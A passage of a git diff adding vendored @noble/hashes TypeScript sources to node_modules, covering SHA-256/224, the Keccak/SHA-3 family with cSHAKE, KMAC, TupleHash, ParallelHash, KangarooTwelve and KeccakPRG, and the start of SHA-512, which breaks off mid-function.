IV[0] | 0; + B = IV[1] | 0; + C = IV[2] | 0; + D = IV[3] | 0; + E = IV[4] | 0; + F = IV[5] | 0; + G = IV[6] | 0; + H = IV[7] | 0; + + constructor() { + super(64, 32, 8, false); + } + protected get(): [number, number, number, number, number, number, number, number] { + const { A, B, C, D, E, F, G, H } = this; + return [A, B, C, D, E, F, G, H]; + } + // prettier-ignore + protected set( + A: number, B: number, C: number, D: number, E: number, F: number, G: number, H: number + ) { + this.A = A | 0; + this.B = B | 0; + this.C = C | 0; + this.D = D | 0; + this.E = E | 0; + this.F = F | 0; + this.G = G | 0; + this.H = H | 0; + } + protected process(view: DataView, offset: number): void { + // Extend the first 16 words into the remaining 48 words w[16..63] of the message schedule array + for (let i = 0; i < 16; i++, offset += 4) SHA256_W[i] = view.getUint32(offset, false); + for (let i = 16; i < 64; i++) { + const W15 = SHA256_W[i - 15]; + const W2 = SHA256_W[i - 2]; + const s0 = rotr(W15, 7) ^ rotr(W15, 18) ^ (W15 >>> 3); + const s1 = rotr(W2, 17) ^ rotr(W2, 19) ^ (W2 >>> 10); + SHA256_W[i] = (s1 + SHA256_W[i - 7] + s0 + SHA256_W[i - 16]) | 0; + } + // Compression function main loop, 64 rounds + let { A, B, C, D, E, F, G, H } = this; + for (let i = 0; i < 64; i++) { + const sigma1 = rotr(E, 6) ^ rotr(E, 11) ^ rotr(E, 25); + const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0; + const sigma0 = rotr(A, 2) ^ rotr(A, 13) ^ rotr(A, 22); + const T2 = (sigma0 + Maj(A, B, C)) | 0; + H = G; + G = F; + F = E; + E = (D + T1) | 0; + D = C; + C = B; + B = A; + A = (T1 + T2) | 0; + } + // Add the compressed chunk to the current hash value + A = (A + this.A) | 0; + B = (B + this.B) | 0; + C = (C + this.C) | 0; + D = (D + this.D) | 0; + E = (E + this.E) | 0; + F = (F + this.F) | 0; + G = (G + this.G) | 0; + H = (H + this.H) | 0; + this.set(A, B, C, D, E, F, G, H); + } + protected roundClean() { + SHA256_W.fill(0); + } + destroy() { + this.set(0, 0, 0, 0, 0, 0, 0, 0); + this.buffer.fill(0); + } +} +// Constants from https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf +class SHA224 extends SHA256 { + A = 0xc1059ed8 | 0; + B = 0x367cd507 | 0; + C = 0x3070dd17 | 0; + D = 0xf70e5939 | 0; + E = 0xffc00b31 | 0; + F = 0x68581511 | 0; + G = 0x64f98fa7 | 0; + H = 0xbefa4fa4 | 0; + constructor() { + super(); + this.outputLen = 28; + } +} + +/** + * SHA2-256 hash function + * @param message - data that would be hashed + */ +export const sha256 = /* @__PURE__ */ wrapConstructor(() => new SHA256()); +export const sha224 = /* @__PURE__ */ wrapConstructor(() => new SHA224()); diff --git a/node_modules/@noble/hashes/src/sha3-addons.ts b/node_modules/@noble/hashes/src/sha3-addons.ts new file mode 100644 index 000000000000..1d5fbf9a2336 --- /dev/null +++ b/node_modules/@noble/hashes/src/sha3-addons.ts @@ -0,0 +1,398 @@ +import { number as assertNumber } from './_assert.js'; +import { Input, toBytes, wrapConstructorWithOpts, u32, Hash, HashXOF } from './utils.js'; +import { Keccak, ShakeOpts } from './sha3.js'; +// cSHAKE && KMAC (NIST SP800-185) +function leftEncode(n: number): Uint8Array { + const res = [n & 0xff]; + n >>= 8; + for (; n > 0; n >>= 8) res.unshift(n & 0xff); + res.unshift(res.length); + return new Uint8Array(res); +} + +function rightEncode(n: number): Uint8Array { + const res = [n & 0xff]; + n >>= 8; + for (; n > 0; n >>= 8) res.unshift(n & 0xff); + res.push(res.length); + return new Uint8Array(res); +} + +function chooseLen(opts: ShakeOpts, outputLen: number): number { + return opts.dkLen === undefined ? outputLen : opts.dkLen; +} + +const toBytesOptional = (buf?: Input) => (buf !== undefined ? toBytes(buf) : new Uint8Array([])); +// NOTE: second modulo is necessary since we don't need to add padding if current element takes whole block +const getPadding = (len: number, block: number) => new Uint8Array((block - (len % block)) % block); +export type cShakeOpts = ShakeOpts & { personalization?: Input; NISTfn?: Input }; + +// Personalization +function cshakePers(hash: Keccak, opts: cShakeOpts = {}): Keccak { + if (!opts || (!opts.personalization && !opts.NISTfn)) return hash; + // Encode and pad inplace to avoid unneccesary memory copies/slices (so we don't need to zero them later) + // bytepad(encode_string(N) || encode_string(S), 168) + const blockLenBytes = leftEncode(hash.blockLen); + const fn = toBytesOptional(opts.NISTfn); + const fnLen = leftEncode(8 * fn.length); // length in bits + const pers = toBytesOptional(opts.personalization); + const persLen = leftEncode(8 * pers.length); // length in bits + if (!fn.length && !pers.length) return hash; + hash.suffix = 0x04; + hash.update(blockLenBytes).update(fnLen).update(fn).update(persLen).update(pers); + let totalLen = blockLenBytes.length + fnLen.length + fn.length + persLen.length + pers.length; + hash.update(getPadding(totalLen, hash.blockLen)); + return hash; +} + +const gencShake = (suffix: number, blockLen: number, outputLen: number) => + wrapConstructorWithOpts((opts: cShakeOpts = {}) => + cshakePers(new Keccak(blockLen, suffix, chooseLen(opts, outputLen), true), opts) + ); + +export const cshake128 = /* @__PURE__ */ (() => gencShake(0x1f, 168, 128 / 8))(); +export const cshake256 = /* @__PURE__ */ (() => gencShake(0x1f, 136, 256 / 8))(); + +class KMAC extends Keccak implements HashXOF { + constructor( + blockLen: number, + outputLen: number, + enableXOF: boolean, + key: Input, + opts: cShakeOpts = {} + ) { + super(blockLen, 0x1f, outputLen, enableXOF); + cshakePers(this, { NISTfn: 'KMAC', personalization: opts.personalization }); + key = toBytes(key); + // 1. newX = bytepad(encode_string(K), 168) || X || right_encode(L). + const blockLenBytes = leftEncode(this.blockLen); + const keyLen = leftEncode(8 * key.length); + this.update(blockLenBytes).update(keyLen).update(key); + const totalLen = blockLenBytes.length + keyLen.length + key.length; + this.update(getPadding(totalLen, this.blockLen)); + } + protected finish() { + if (!this.finished) this.update(rightEncode(this.enableXOF ? 0 : this.outputLen * 8)); // outputLen in bits + super.finish(); + } + _cloneInto(to?: KMAC): KMAC { + // Create new instance without calling constructor since key already in state and we don't know it. + // Force "to" to be instance of KMAC instead of Sha3. + if (!to) { + to = Object.create(Object.getPrototypeOf(this), {}) as KMAC; + to.state = this.state.slice(); + to.blockLen = this.blockLen; + to.state32 = u32(to.state); + } + return super._cloneInto(to) as KMAC; + } + clone(): KMAC { + return this._cloneInto(); + } +} + +function genKmac(blockLen: number, outputLen: number, xof = false) { + const kmac = (key: Input, message: Input, opts?: cShakeOpts): Uint8Array => + kmac.create(key, opts).update(message).digest(); + kmac.create = (key: Input, opts: cShakeOpts = {}) => + new KMAC(blockLen, chooseLen(opts, outputLen), xof, key, opts); + return kmac; +} + +export const kmac128 = /* @__PURE__ */ (() => genKmac(168, 128 / 8))(); +export const kmac256 = /* @__PURE__ */ (() => genKmac(136, 256 / 8))(); +export const kmac128xof = /* @__PURE__ */ (() => genKmac(168, 128 / 8, true))(); +export const kmac256xof = /* @__PURE__ */ (() => genKmac(136, 256 / 8, true))(); + +// TupleHash +// Usage: tuple(['ab', 'cd']) != tuple(['a', 'bcd']) +class TupleHash extends Keccak implements HashXOF { + constructor(blockLen: number, outputLen: number, enableXOF: boolean, opts: cShakeOpts = {}) { + super(blockLen, 0x1f, outputLen, enableXOF); + cshakePers(this, { NISTfn: 'TupleHash', personalization: opts.personalization }); + // Change update after cshake processed + this.update = (data: Input) => { + data = toBytes(data); + super.update(leftEncode(data.length * 8)); + super.update(data); + return this; + }; + } + protected finish() { + if (!this.finished) super.update(rightEncode(this.enableXOF ? 0 : this.outputLen * 8)); // outputLen in bits + super.finish(); + } + _cloneInto(to?: TupleHash): TupleHash { + to ||= new TupleHash(this.blockLen, this.outputLen, this.enableXOF); + return super._cloneInto(to) as TupleHash; + } + clone(): TupleHash { + return this._cloneInto(); + } +} + +function genTuple(blockLen: number, outputLen: number, xof = false) { + const tuple = (messages: Input[], opts?: cShakeOpts): Uint8Array => { + const h = tuple.create(opts); + for (const msg of messages) h.update(msg); + return h.digest(); + }; + tuple.create = (opts: cShakeOpts = {}) => + new TupleHash(blockLen, chooseLen(opts, outputLen), xof, opts); + return tuple; +} + +export const tuplehash128 = /* @__PURE__ */ (() => genTuple(168, 128 / 8))(); +export const tuplehash256 = /* @__PURE__ */ (() => genTuple(136, 256 / 8))(); +export const tuplehash128xof = /* @__PURE__ */ (() => genTuple(168, 128 / 8, true))(); +export const tuplehash256xof = /* @__PURE__ */ (() => genTuple(136, 256 / 8, true))(); + +// ParallelHash (same as K12/M14, but without speedup for inputs less 8kb, reduced number of rounds and more simple) +type ParallelOpts = cShakeOpts & { blockLen?: number }; + +class ParallelHash extends Keccak implements HashXOF { + private leafHash?: Hash; + private chunkPos = 0; // Position of current block in chunk + private chunksDone = 0; // How many chunks we already have + private chunkLen: number; + constructor( + blockLen: number, + outputLen: number, + protected leafCons: () => Hash, + enableXOF: boolean, + opts: ParallelOpts = {} + ) { + super(blockLen, 0x1f, outputLen, enableXOF); + cshakePers(this, { NISTfn: 'ParallelHash', personalization: opts.personalization }); + let { blockLen: B } = opts; + B ||= 8; + assertNumber(B); + this.chunkLen = B; + super.update(leftEncode(B)); + // Change update after cshake processed + this.update = (data: Input) => { + data = toBytes(data); + const { chunkLen, leafCons } = this; + for (let pos = 0, len = data.length; pos < len; ) { + if (this.chunkPos == chunkLen || !this.leafHash) { + if (this.leafHash) { + super.update(this.leafHash.digest()); + this.chunksDone++; + } + this.leafHash = leafCons(); + this.chunkPos = 0; + } + const take = Math.min(chunkLen - this.chunkPos, len - pos); + this.leafHash.update(data.subarray(pos, pos + take)); + this.chunkPos += take; + pos += take; + } + return this; + }; + } + protected finish() { + if (this.finished) return; + if (this.leafHash) { + super.update(this.leafHash.digest()); + this.chunksDone++; + } + super.update(rightEncode(this.chunksDone)); + super.update(rightEncode(this.enableXOF ? 0 : this.outputLen * 8)); // outputLen in bits + super.finish(); + } + _cloneInto(to?: ParallelHash): ParallelHash { + to ||= new ParallelHash(this.blockLen, this.outputLen, this.leafCons, this.enableXOF); + if (this.leafHash) to.leafHash = this.leafHash._cloneInto(to.leafHash as Keccak); + to.chunkPos = this.chunkPos; + to.chunkLen = this.chunkLen; + to.chunksDone = this.chunksDone; + return super._cloneInto(to) as ParallelHash; + } + destroy() { + super.destroy.call(this); + if (this.leafHash) this.leafHash.destroy(); + } + clone(): ParallelHash { + return this._cloneInto(); + } +} + +function genPrl( + blockLen: number, + outputLen: number, + leaf: ReturnType, + xof = false +) { + const parallel = (message: Input, opts?: ParallelOpts): Uint8Array => + parallel.create(opts).update(message).digest(); + parallel.create = (opts: ParallelOpts = {}) => + new ParallelHash( + blockLen, + chooseLen(opts, outputLen), + () => leaf.create({ dkLen: 2 * outputLen }), + xof, + opts + ); + return parallel; +} + +export const parallelhash128 = /* @__PURE__ */ (() => genPrl(168, 128 / 8, cshake128))(); +export const parallelhash256 = /* @__PURE__ */ (() => genPrl(136, 256 / 8, cshake256))(); +export const parallelhash128xof = /* @__PURE__ */ (() => genPrl(168, 128 / 8, cshake128, true))(); +export const parallelhash256xof = /* @__PURE__ */ (() => genPrl(136, 256 / 8, cshake256, true))(); + +// Kangaroo +// Same as NIST rightEncode, but returns [0] for zero string +function rightEncodeK12(n: number): Uint8Array { + const res = []; + for (; n > 0; n >>= 8) res.unshift(n & 0xff); + res.push(res.length); + return new Uint8Array(res); +} + +export type KangarooOpts = { dkLen?: number; personalization?: Input }; +const EMPTY = new Uint8Array([]); + +class KangarooTwelve extends Keccak implements HashXOF { + readonly chunkLen = 8192; + private leafHash?: Keccak; + private personalization: Uint8Array; + private chunkPos = 0; // Position of current block in chunk + private chunksDone = 0; // How many chunks we already have + constructor( + blockLen: number, + protected leafLen: number, + outputLen: number, + rounds: number, + opts: KangarooOpts + ) { + super(blockLen, 0x07, outputLen, true, rounds); + const { personalization } = opts; + this.personalization = toBytesOptional(personalization); + } + update(data: Input) { + data = toBytes(data); + const { chunkLen, blockLen, leafLen, rounds } = this; + for (let pos = 0, len = data.length; pos < len; ) { + if (this.chunkPos == chunkLen) { + if (this.leafHash) super.update(this.leafHash.digest()); + else { + this.suffix = 0x06; // Its safe to change suffix here since its used only in digest() + super.update(new Uint8Array([3, 0, 0, 0, 0, 0, 0, 0])); + } + this.leafHash = new Keccak(blockLen, 0x0b, leafLen, false, rounds); + this.chunksDone++; + this.chunkPos = 0; + } + const take = Math.min(chunkLen - this.chunkPos, len - pos); + const chunk = data.subarray(pos, pos + take); + if (this.leafHash) this.leafHash.update(chunk); + else super.update(chunk); + this.chunkPos += take; + pos += take; + } + return this; + } + protected finish() { + if (this.finished) return; + const { personalization } = this; + this.update(personalization).update(rightEncodeK12(personalization.length)); + // Leaf hash + if (this.leafHash) { + super.update(this.leafHash.digest()); + super.update(rightEncodeK12(this.chunksDone)); + super.update(new Uint8Array([0xff, 0xff])); + } + super.finish.call(this); + } + destroy() { + super.destroy.call(this); + if (this.leafHash) this.leafHash.destroy(); + // We cannot zero personalization buffer since it is user provided and we don't want to mutate user input + this.personalization = EMPTY; + } + _cloneInto(to?: KangarooTwelve): KangarooTwelve { + const { blockLen, leafLen, leafHash, outputLen, rounds } = this; + to ||= new KangarooTwelve(blockLen, leafLen, outputLen, rounds, {}); + super._cloneInto(to); + if (leafHash) to.leafHash = leafHash._cloneInto(to.leafHash); + to.personalization.set(this.personalization); + to.leafLen = this.leafLen; + to.chunkPos = this.chunkPos; + to.chunksDone = this.chunksDone; + return to; + } + clone(): KangarooTwelve { + return this._cloneInto(); + } +} +// Default to 32 bytes, so it can be used without opts +export const k12 = /* @__PURE__ */ (() => + wrapConstructorWithOpts( + (opts: KangarooOpts = {}) => new KangarooTwelve(168, 32, chooseLen(opts, 32), 12, opts) + ))(); +// MarsupilamiFourteen +export const m14 = /* @__PURE__ */ (() => + wrapConstructorWithOpts( + (opts: KangarooOpts = {}) => new KangarooTwelve(136, 64, chooseLen(opts, 64), 14, opts) + ))(); + +// https://keccak.team/files/CSF-0.1.pdf +// + https://github.com/XKCP/XKCP/tree/master/lib/high/Keccak/PRG +class KeccakPRG extends Keccak { + protected rate: number; + constructor(capacity: number) { + assertNumber(capacity); + // Rho should be full bytes + if (capacity < 0 || capacity > 1600 - 10 || (1600 - capacity - 2) % 8) + throw new Error('KeccakPRG: Invalid capacity'); + // blockLen = rho in bytes + super((1600 - capacity - 2) / 8, 0, 0, true); + this.rate = 1600 - capacity; + this.posOut = Math.floor((this.rate + 7) / 8); + } + keccak() { + // Duplex padding + this.state[this.pos] ^= 0x01; + this.state[this.blockLen] ^= 0x02; // Rho is full bytes + super.keccak(); + this.pos = 0; + this.posOut = 0; + } + update(data: Input) { + super.update(data); + this.posOut = this.blockLen; + return this; + } + feed(data: Input) { + return this.update(data); + } + protected finish() {} + digestInto(_out: Uint8Array): Uint8Array { + throw new Error('KeccakPRG: digest is not allowed, please use .fetch instead.'); + } + fetch(bytes: number): Uint8Array { + return this.xof(bytes); + } + // Ensure irreversibility (even if state leaked previous outputs cannot be computed) + forget() { + if (this.rate < 1600 / 2 + 1) throw new Error('KeccakPRG: rate too low to use forget'); + this.keccak(); + for (let i = 0; i < this.blockLen; i++) this.state[i] = 0; + this.pos = this.blockLen; + this.keccak(); + this.posOut = this.blockLen; + } + _cloneInto(to?: KeccakPRG): KeccakPRG { + const { rate } = this; + to ||= new KeccakPRG(1600 - rate); + super._cloneInto(to); + to.rate = rate; + return to; + } + clone(): KeccakPRG { + return this._cloneInto(); + } +} + +export const keccakprg = (capacity = 254) => new KeccakPRG(capacity); diff --git a/node_modules/@noble/hashes/src/sha3.ts b/node_modules/@noble/hashes/src/sha3.ts new file mode 100644 index 000000000000..c730b069e753 --- /dev/null +++ b/node_modules/@noble/hashes/src/sha3.ts @@ -0,0 +1,223 @@ +import { bytes, exists, number, output } from './_assert.js'; +import { rotlBH, rotlBL, rotlSH, rotlSL, split } from './_u64.js'; +import { + Hash, + u32, + Input, + toBytes, + wrapConstructor, + wrapXOFConstructorWithOpts, + HashXOF, +} from './utils.js'; + +// SHA3 (keccak) is based on a new design: basically, the internal state is bigger than output size. +// It's called a sponge function. + +// Various per round constants calculations +const [SHA3_PI, SHA3_ROTL, _SHA3_IOTA]: [number[], number[], bigint[]] = [[], [], []]; +const _0n = /* @__PURE__ */ BigInt(0); +const _1n = /* @__PURE__ */ BigInt(1); +const _2n = /* @__PURE__ */ BigInt(2); +const _7n = /* @__PURE__ */ BigInt(7); +const _256n = /* @__PURE__ */ BigInt(256); +const _0x71n = /* @__PURE__ */ BigInt(0x71); +for (let round = 0, R = _1n, x = 1, y = 0; round < 24; round++) { + // Pi + [x, y] = [y, (2 * x + 3 * y) % 5]; + SHA3_PI.push(2 * (5 * y + x)); + // Rotational + SHA3_ROTL.push((((round + 1) * (round + 2)) / 2) % 64); + // Iota + let t = _0n; + for (let j = 0; j < 7; j++) { + R = ((R << _1n) ^ ((R >> _7n) * _0x71n)) % _256n; + if (R & _2n) t ^= _1n << ((_1n << /* @__PURE__ */ BigInt(j)) - _1n); + } + _SHA3_IOTA.push(t); +} +const [SHA3_IOTA_H, SHA3_IOTA_L] = /* @__PURE__ */ split(_SHA3_IOTA, true); + +// Left rotation (without 0, 32, 64) +const rotlH = (h: number, l: number, s: number) => (s > 32 ? rotlBH(h, l, s) : rotlSH(h, l, s)); +const rotlL = (h: number, l: number, s: number) => (s > 32 ? rotlBL(h, l, s) : rotlSL(h, l, s)); + +// Same as keccakf1600, but allows to skip some rounds +export function keccakP(s: Uint32Array, rounds: number = 24) { + const B = new Uint32Array(5 * 2); + // NOTE: all indices are x2 since we store state as u32 instead of u64 (bigints to slow in js) + for (let round = 24 - rounds; round < 24; round++) { + // Theta θ + for (let x = 0; x < 10; x++) B[x] = s[x] ^ s[x + 10] ^ s[x + 20] ^ s[x + 30] ^ s[x + 40]; + for (let x = 0; x < 10; x += 2) { + const idx1 = (x + 8) % 10; + const idx0 = (x + 2) % 10; + const B0 = B[idx0]; + const B1 = B[idx0 + 1]; + const Th = rotlH(B0, B1, 1) ^ B[idx1]; + const Tl = rotlL(B0, B1, 1) ^ B[idx1 + 1]; + for (let y = 0; y < 50; y += 10) { + s[x + y] ^= Th; + s[x + y + 1] ^= Tl; + } + } + // Rho (ρ) and Pi (π) + let curH = s[2]; + let curL = s[3]; + for (let t = 0; t < 24; t++) { + const shift = SHA3_ROTL[t]; + const Th = rotlH(curH, curL, shift); + const Tl = rotlL(curH, curL, shift); + const PI = SHA3_PI[t]; + curH = s[PI]; + curL = s[PI + 1]; + s[PI] = Th; + s[PI + 1] = Tl; + } + // Chi (χ) + for (let y = 0; y < 50; y += 10) { + for (let x = 0; x < 10; x++) B[x] = s[y + x]; + for (let x = 0; x < 10; x++) s[y + x] ^= ~B[(x + 2) % 10] & B[(x + 4) % 10]; + } + // Iota (ι) + s[0] ^= SHA3_IOTA_H[round]; + s[1] ^= SHA3_IOTA_L[round]; + } + B.fill(0); +} + +export class Keccak extends Hash implements HashXOF { + protected state: Uint8Array; + protected pos = 0; + protected posOut = 0; + protected finished = false; + protected state32: Uint32Array; + protected destroyed = false; + // NOTE: we accept arguments in bytes instead of bits here. + constructor( + public blockLen: number, + public suffix: number, + public outputLen: number, + protected enableXOF = false, + protected rounds: number = 24 + ) { + super(); + // Can be passed from user as dkLen + number(outputLen); + // 1600 = 5x5 matrix of 64bit. 1600 bits === 200 bytes + if (0 >= this.blockLen || this.blockLen >= 200) + throw new Error('Sha3 supports only keccak-f1600 function'); + this.state = new Uint8Array(200); + this.state32 = u32(this.state); + } + protected keccak() { + keccakP(this.state32, this.rounds); + this.posOut = 0; + this.pos = 0; + } + update(data: Input) { + exists(this); + const { blockLen, state } = this; + data = toBytes(data); + const len = data.length; + for (let pos = 0; pos < len; ) { + const take = Math.min(blockLen - this.pos, len - pos); + for (let i = 0; i < take; i++) state[this.pos++] ^= data[pos++]; + if (this.pos === blockLen) this.keccak(); + } + return this; + } + protected finish() { + if (this.finished) return; + this.finished = true; + const { state, suffix, pos, blockLen } = this; + // Do the padding + state[pos] ^= suffix; + if ((suffix & 0x80) !== 0 && pos === blockLen - 1) this.keccak(); + state[blockLen - 1] ^= 0x80; + this.keccak(); + } + protected writeInto(out: Uint8Array): Uint8Array { + exists(this, false); + bytes(out); + this.finish(); + const bufferOut = this.state; + const { blockLen } = this; + for (let pos = 0, len = out.length; pos < len; ) { + if (this.posOut >= blockLen) this.keccak(); + const take = Math.min(blockLen - this.posOut, len - pos); + out.set(bufferOut.subarray(this.posOut, this.posOut + take), pos); + this.posOut += take; + pos += take; + } + return out; + } + xofInto(out: Uint8Array): Uint8Array { + // Sha3/Keccak usage with XOF is probably mistake, only SHAKE instances can do XOF + if (!this.enableXOF) throw new Error('XOF is not possible for this instance'); + return this.writeInto(out); + } + xof(bytes: number): Uint8Array { + number(bytes); + return this.xofInto(new Uint8Array(bytes)); + } + digestInto(out: Uint8Array) { + output(out, this); + if (this.finished) throw new Error('digest() was already called'); + this.writeInto(out); + this.destroy(); + return out; + } + digest() { + return this.digestInto(new Uint8Array(this.outputLen)); + } + destroy() { + this.destroyed = true; + this.state.fill(0); + } + _cloneInto(to?: Keccak): Keccak { + const { blockLen, suffix, outputLen, rounds, enableXOF } = this; + to ||= new Keccak(blockLen, suffix, outputLen, enableXOF, rounds); + to.state32.set(this.state32); + to.pos = this.pos; + to.posOut = this.posOut; + to.finished = this.finished; + to.rounds = rounds; + // Suffix can change in cSHAKE + to.suffix = suffix; + to.outputLen = outputLen; + to.enableXOF = enableXOF; + to.destroyed = this.destroyed; + return to; + } +} + +const gen = (suffix: number, blockLen: number, outputLen: number) => + wrapConstructor(() => new Keccak(blockLen, suffix, outputLen)); + +export const sha3_224 = /* @__PURE__ */ gen(0x06, 144, 224 / 8); +/** + * SHA3-256 hash function + * @param message - that would be hashed + */ +export const sha3_256 = /* @__PURE__ */ gen(0x06, 136, 256 / 8); +export const sha3_384 = /* @__PURE__ */ gen(0x06, 104, 384 / 8); +export const sha3_512 = /* @__PURE__ */ gen(0x06, 72, 512 / 8); +export const keccak_224 = /* @__PURE__ */ gen(0x01, 144, 224 / 8); +/** + * keccak-256 hash function. Different from SHA3-256. + * @param message - that would be hashed + */ +export const keccak_256 = /* @__PURE__ */ gen(0x01, 136, 256 / 8); +export const keccak_384 = /* @__PURE__ */ gen(0x01, 104, 384 / 8); +export const keccak_512 = /* @__PURE__ */ gen(0x01, 72, 512 / 8); + +export type ShakeOpts = { dkLen?: number }; + +const genShake = (suffix: number, blockLen: number, outputLen: number) => + wrapXOFConstructorWithOpts, ShakeOpts>( + (opts: ShakeOpts = {}) => + new Keccak(blockLen, suffix, opts.dkLen === undefined ? outputLen : opts.dkLen, true) + ); + +export const shake128 = /* @__PURE__ */ genShake(0x1f, 168, 128 / 8); +export const shake256 = /* @__PURE__ */ genShake(0x1f, 136, 256 / 8); diff --git a/node_modules/@noble/hashes/src/sha512.ts b/node_modules/@noble/hashes/src/sha512.ts new file mode 100644 index 000000000000..27b7ac5e224f --- /dev/null +++ b/node_modules/@noble/hashes/src/sha512.ts @@ -0,0 +1,246 @@ +import { SHA2 } from './_sha2.js'; +import u64 from './_u64.js'; +import { wrapConstructor } from './utils.js'; + +// Round contants (first 32 bits of the fractional parts of the cube roots of the first 80 primes 2..409): +// prettier-ignore +const [SHA512_Kh, SHA512_Kl] = /* @__PURE__ */ (() => u64.split([ + '0x428a2f98d728ae22', '0x7137449123ef65cd', '0xb5c0fbcfec4d3b2f', '0xe9b5dba58189dbbc', + '0x3956c25bf348b538', '0x59f111f1b605d019', '0x923f82a4af194f9b', '0xab1c5ed5da6d8118', + '0xd807aa98a3030242', '0x12835b0145706fbe', '0x243185be4ee4b28c', '0x550c7dc3d5ffb4e2', + '0x72be5d74f27b896f', '0x80deb1fe3b1696b1', '0x9bdc06a725c71235', '0xc19bf174cf692694', + '0xe49b69c19ef14ad2', '0xefbe4786384f25e3', '0x0fc19dc68b8cd5b5', '0x240ca1cc77ac9c65', + '0x2de92c6f592b0275', '0x4a7484aa6ea6e483', '0x5cb0a9dcbd41fbd4', '0x76f988da831153b5', + '0x983e5152ee66dfab', '0xa831c66d2db43210', '0xb00327c898fb213f', '0xbf597fc7beef0ee4', + '0xc6e00bf33da88fc2', '0xd5a79147930aa725', '0x06ca6351e003826f', '0x142929670a0e6e70', + '0x27b70a8546d22ffc', '0x2e1b21385c26c926', '0x4d2c6dfc5ac42aed', '0x53380d139d95b3df', + '0x650a73548baf63de', '0x766a0abb3c77b2a8', '0x81c2c92e47edaee6', '0x92722c851482353b', + '0xa2bfe8a14cf10364', '0xa81a664bbc423001', '0xc24b8b70d0f89791', '0xc76c51a30654be30', + '0xd192e819d6ef5218', '0xd69906245565a910', '0xf40e35855771202a', '0x106aa07032bbd1b8', + '0x19a4c116b8d2d0c8', '0x1e376c085141ab53', '0x2748774cdf8eeb99', '0x34b0bcb5e19b48a8', + '0x391c0cb3c5c95a63', '0x4ed8aa4ae3418acb', '0x5b9cca4f7763e373', '0x682e6ff3d6b2b8a3', + '0x748f82ee5defb2fc', '0x78a5636f43172f60', '0x84c87814a1f0ab72', '0x8cc702081a6439ec', + '0x90befffa23631e28', '0xa4506cebde82bde9', '0xbef9a3f7b2c67915', '0xc67178f2e372532b', + '0xca273eceea26619c', '0xd186b8c721c0c207', '0xeada7dd6cde0eb1e', '0xf57d4f7fee6ed178', + '0x06f067aa72176fba', '0x0a637dc5a2c898a6', '0x113f9804bef90dae', '0x1b710b35131c471b', + '0x28db77f523047d84', '0x32caab7b40c72493', '0x3c9ebe0a15c9bebc', '0x431d67c49c100d4c', + '0x4cc5d4becb3e42b6', '0x597f299cfc657e2a', '0x5fcb6fab3ad6faec', '0x6c44198c4a475817' +].map(n => BigInt(n))))(); + +// Temporary buffer, not used to store anything between runs +const SHA512_W_H = /* @__PURE__ */ new Uint32Array(80); +const SHA512_W_L = /* @__PURE__ */ new Uint32Array(80); +export class SHA512 extends SHA2 { + // We cannot use array here since array allows indexing by variable which means optimizer/compiler cannot use registers. + // Also looks cleaner and easier to verify with spec. + // Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19): + // h -- high 32 bits, l -- low 32 bits + Ah = 0x6a09e667 | 0; + Al = 0xf3bcc908 | 0; + Bh = 0xbb67ae85 | 0; + Bl = 0x84caa73b | 0; + Ch = 0x3c6ef372 | 0; + Cl = 0xfe94f82b | 0; + Dh = 0xa54ff53a | 0; + Dl = 0x5f1d36f1 | 0; + Eh = 0x510e527f | 0; + El = 0xade682d1 | 0; + Fh = 0x9b05688c | 0; + Fl = 0x2b3e6c1f | 0; + Gh = 0x1f83d9ab | 0; + Gl = 0xfb41bd6b | 0; + Hh = 0x5be0cd19 | 0; + Hl = 0x137e2179 | 0; + + constructor() { + super(128, 64, 16, false); + } + // prettier-ignore + protected get(): [ + number, number, number, number, number, number, number, number, + number, number, number, number, number, number, number, number + ] { + const { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this; + return [Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl]; + } + // prettier-ignore + protected set( + Ah: number, Al: number, Bh: number, Bl: number, Ch: number, Cl: number, Dh: number, Dl: number, + Eh: number, El: number, Fh: number, Fl: number, Gh: number, Gl: number, Hh: number, Hl: number + ) { + this.Ah = Ah | 0; + this.Al = Al | 0; + this.Bh = Bh | 0; + this.Bl = Bl | 0; + this.Ch = Ch | 0; + this.Cl = Cl | 0; + this.Dh = Dh | 0; + this.Dl = Dl | 0; + this.Eh = Eh | 0; + this.El = El | 0; + this.Fh = Fh | 0; + this.Fl = Fl | 0; + this.Gh = Gh | 0; + this.Gl = Gl | 0; + this.Hh = Hh | 0; + this.Hl = Hl | 0; + } + protected process(view: DataView, offset: number) { + // Extend the first 16 words into the remaining 64 words w[16..79] of the message schedule array + for (let i = 0; i < 16; i++, offset += 4) { + SHA512_W_H[i] = view.getUint32(offset); + SHA512_W_L[i] = view.getUint32((offset += 4)); + } + for (let i = 16; i < 80; i++) { + // s0 := (w[i-15] rightrotate 1) xor (w[i-15] rightrotate 8) xor (w[i-15] rightshift 7) + const W15h = SHA512_W_H[i - 15] | 0; + const W15l = SHA512_W_L[i - 15] | 0; + const s0h = u64.rotrSH(W15h, W15l, 1) ^ u64.rotrSH(W15h, W15l, 8) ^ u64.shrSH(W15h, W15l, 7); + const s0l = u64.rotrSL(W15h, W15l, 1) ^ u64.rotrSL(W15h, W15l, 8) ^ u64.shrSL(W15h, W15l, 7); + // s1 := (w[i-2] rightrotate 19) xor (w[i-2] rightrotate 61) xor (w[i-2] rightshift 6) + const W2h = SHA512_W_H[i - 2] | 0; + const W2l = SHA512_W_L[i - 2] | 0; + const s1h = u64.rotrSH(W2h, W2l, 19) ^ u64.rotrBH(W2h, W2l, 61) ^ u64.shrSH(W2h, W2l, 6); + const s1l = u64.rotrSL(W2h, W2l, 19) ^ u64.rotrBL(W2h, W2l, 61) ^ u64.shrSL(W2h, W2l, 6); + // SHA256_W[i] = s0 + s1 + SHA256_W[i - 7] + SHA256_W[i - 16]; + const SUMl = u64.add4L(s0l, s1l, SHA512_W_L[i - 7], SHA512_W_L[i - 16]); + const SUMh = u64.add4H(SUMl, s0h, s1h, SHA512_W_H[i - 7], SHA512_W_H[i - 16]); + SHA512_W_H[i] = SUMh | 0; + SHA512_W_L[i] = SUMl | 0; + } + let { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this; + // Compression function main loop, 80 rounds + for (let i = 0; i < 80; 